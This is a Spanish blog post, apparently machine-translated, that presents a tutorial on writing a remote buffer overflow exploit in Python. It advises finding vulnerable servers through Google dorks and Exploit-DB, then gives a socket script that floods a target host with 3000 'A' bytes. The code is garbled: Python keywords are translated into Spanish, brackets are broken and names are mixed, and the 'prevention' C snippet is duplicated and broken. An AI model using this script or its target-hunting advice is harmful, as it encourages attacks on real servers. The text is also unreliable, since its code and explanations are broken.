Bienvenidos chicos, hoy aprenderemos cómo escribir un desbordamiento de búfer remoto usando el lenguaje de programación Python solo con TCP.
Lo que realmente necesitas:
-Python 3.4 (o superior)
- Una conexión a Internet estable
Un servidor vulnerable
-Computadora con sistema operativo Windows o Linux
Si no tiene Python instalado en su computadora, puede descargarlo desde https://www.python.org/downloads/ . El proceso de instalación es muy sencillo y directo.
Escribiendo un Exploit Remote Overflow Exploit Usando Python
1. Encuentre un servidor para probar pourpose
Esta es una parte un poco complicada. Intenta buscar dorks en GHDB ( https://www.exploit-db.com/google-hacking-database/ ). También puede intentar buscar software vulnerable en Exploit-DB ( https://www.exploit-db.com ).
2. Codificación
La codificación es la parte divertida. Comencemos importando sys y socket, luego, escriba el siguiente código:
para carg en sys.argv:
si carg == "-s":
argnum = sys.argv.index (carg)
argnum + = 1
host = sys.argv [argnum]
elif carg == "-p":
argnum = sys.argv.index (carg)
argnum + = 1
port = sys.argv [argnum [
buffer = "\ x41" * 3000
s = socket.socket (socket.AF_INET, socket.SOCK_STREA M)
s.connect ((host, puerto))
s.send ("USV" + buffer + "// r // n // r")
s.close ()
El código se verá así:
Ahora, veamos qué hace realmente el código. Ya conocemos el argumento script de identificación. La segunda línea crea un buffer, que es \ x41 multiplicado 3000 veces. Luego podemos ver las líneas de declaración de la s como socket, luego conectar con ella, enviar el buffer requerido y cerrar el socket. Parece bastante fácil, ¿verdad?
Una vez que hayamos terminado con los pasos anteriores, revisemos el resultado de nuestro script.
Como puede ver, el script funciona bien y lo he probado un par de veces.
Cómo evitar el desbordamiento del búfer remoto
La solución depende de su lenguaje de programación, por ejemplo, si usa el lenguaje C.
int authed = 0;
char password_buffer [16];
strcopy (password_buffer, your_password)
if (strcmp (password_buffer, password) == 0) {
authenticado = 1;
}
else {
authed = 0;
}
char password_buffer [16];
strcopy (password_buffer, your_password)
if (strcmp (password_buffer, password) == 0) {
authenticado = 1;
}
else {
authed = 0;
}
Entonces, una vez que su_contraseña es más de 16, puede implementar el desbordamiento de autenticación, o si hay aún más, puede obtener un desbordamiento del búfer con error de segmentación.
Hay varias soluciones para este problema.
No hay comentarios:
Publicar un comentario